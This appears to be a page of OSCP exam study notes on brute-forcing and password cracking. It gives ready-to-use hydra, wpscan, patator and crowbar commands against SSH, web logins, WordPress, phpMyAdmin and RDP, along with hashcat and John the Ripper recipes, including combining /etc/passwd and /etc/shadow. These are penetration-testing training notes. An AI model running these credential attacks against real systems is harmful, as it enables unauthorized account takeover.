> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/bruteforce.md). # Bruteforce

Wordlists

``` /usr/share/wordlists/rockyou.txt ``` ``` /usr/share/wordlists/seclists/Passwords/Common-Credentials/best1050.txt ```

Hashcat

1. Identify hashes using hashid or hash-identifier ``` hashid -mj to_crack ``` 2. Using hashcat to identify the hash ``` hashcat --identify to_crack ``` 3. See example hashes [here](https://hashcat.net/wiki/doku.php?id=example_hashes) 4. `hashcat -m 13100 -a 0 kerberos.hash /usr/share/wordlists/rockyou.txt`

Hydra

#### SSH/FTP/SMB ```bash hydra -t 4 -V -f -l lennie -P /usr/share/wordlists/rockyou.txt 10.10.13.33 ssh/ftp/smb ``` #### Website login ```bash # HTTP site hydra crackme.site http-post-form "/login.php:usr=^USER^&pwd=^PASS^:invalid credentials" -L -P -f -V # HTTPS site hydra streamio.htb https-post-form "/login.php:username=^USER^&password=^PASS^:F=Login failed" -L users -P passwords -f -V ``` * Before bruteforcing with `rockyou.txt`, bruteforce with wordlist using `cewl http://10.11.1.39/otrs/index.pl --write wordlist.txt`. #### Wp-admin login ```bash hydra 192.168.126.52 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.126.52%2Fwp-admin%2F&testcookie=1:is incorrect" -l ben -P /usr/share/wordlists/rockyou.txt -f -V ``` #### Digest Auth ``` hydra -l "carlos" -P /usr/share/wordlists/rockyou.txt www.spiros.ml http-get /auth/digest.php -S ``` -S is for HTTPS sites #### Basic Auth ```bash hydra -l "peter" -P /usr/share/wordlists/rockyou.txt www.spiros.ml http-head /auth/basic.php -S ```

Wordpress

* Quick (but need change username in script) * target need put in full path (eg: http:sandbox.local) ```bash XBruteForcer -l target.txt -p passwords.txt ``` ```bash wpscan --url https://192.168.242.148:12380/blogblog --passwords /usr/share/wordlists/rockyou.txt --usernames usernames.txt --password-attack wp-login --disable-tls-checks -t 100 ``` * Specifying `wp-login` as password attack will increase speed ```bash hydra -l admin -P /usr/share/wordlists/rockyou.txt sunset-midnight -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' -t 64 ``` * Slow ```bash wpscan --url http://test.local/ --passwords passwords.txt ```

phpMyAdmin

```bash patator.py http_fuzz proxy_type=socks5 proxy=localhost:1080 url=http://IP/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&target=index.php&lang=en&token=' 0=/usr/share/wordlists/rockyou.txt before_urls=http://IP/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Access denied for user ' ```

John the Ripper

#### Linux hashes ```bash unshadow /etc/passwd /etc/shadow > crackme ``` #### MD5 ```bash john crackme --wordlist=rockyou.txt --format=Raw-MD5 ``` #### Convert password protected zip file to a crackable format ```bash zip2john flag.zip ``` `flag.txt:$pkzip$1220302444be14f804203043c6619dcbac70ed43a3261eee8f327de5478afd3bf9a0b01016e2610a16d05221bf46bfede58693a220832b6b498350b173*$/pkzip$:flag.txt:flag.zip::flag.zip` is the output. Need to remove the everything before the first quotation if using Hashcat to crack! #### SSH ```bash python ssh2john.py id_rsa > id_rsa.hash ``` #### ASC keys ```bash gpg2john tryhackme.asc > hash ``` #### Specific users ```bash john --wordlist=rockyou.txt -users=victim,victim2 crackme ```

Crowbar

#### Bruteforce RDP ```bash crowbar -b rdp -s 10.11.0.22/32 -u admin -C ~/password-file.txt -n 1 ``` ```bash proxychains -q crowbar -b rdp -S new_remaining_ips -U usernames.txt -C passwords.txt -n 4 ```

Cewl (scraping website)

cewl -m 9 -d 12 -w wordlist.txt www.megacorpone.com

Will obtain all words that are >9 characters and <12 characters and save it to wordlist.txt

Stegseek

```bash stegseek image.jpg ```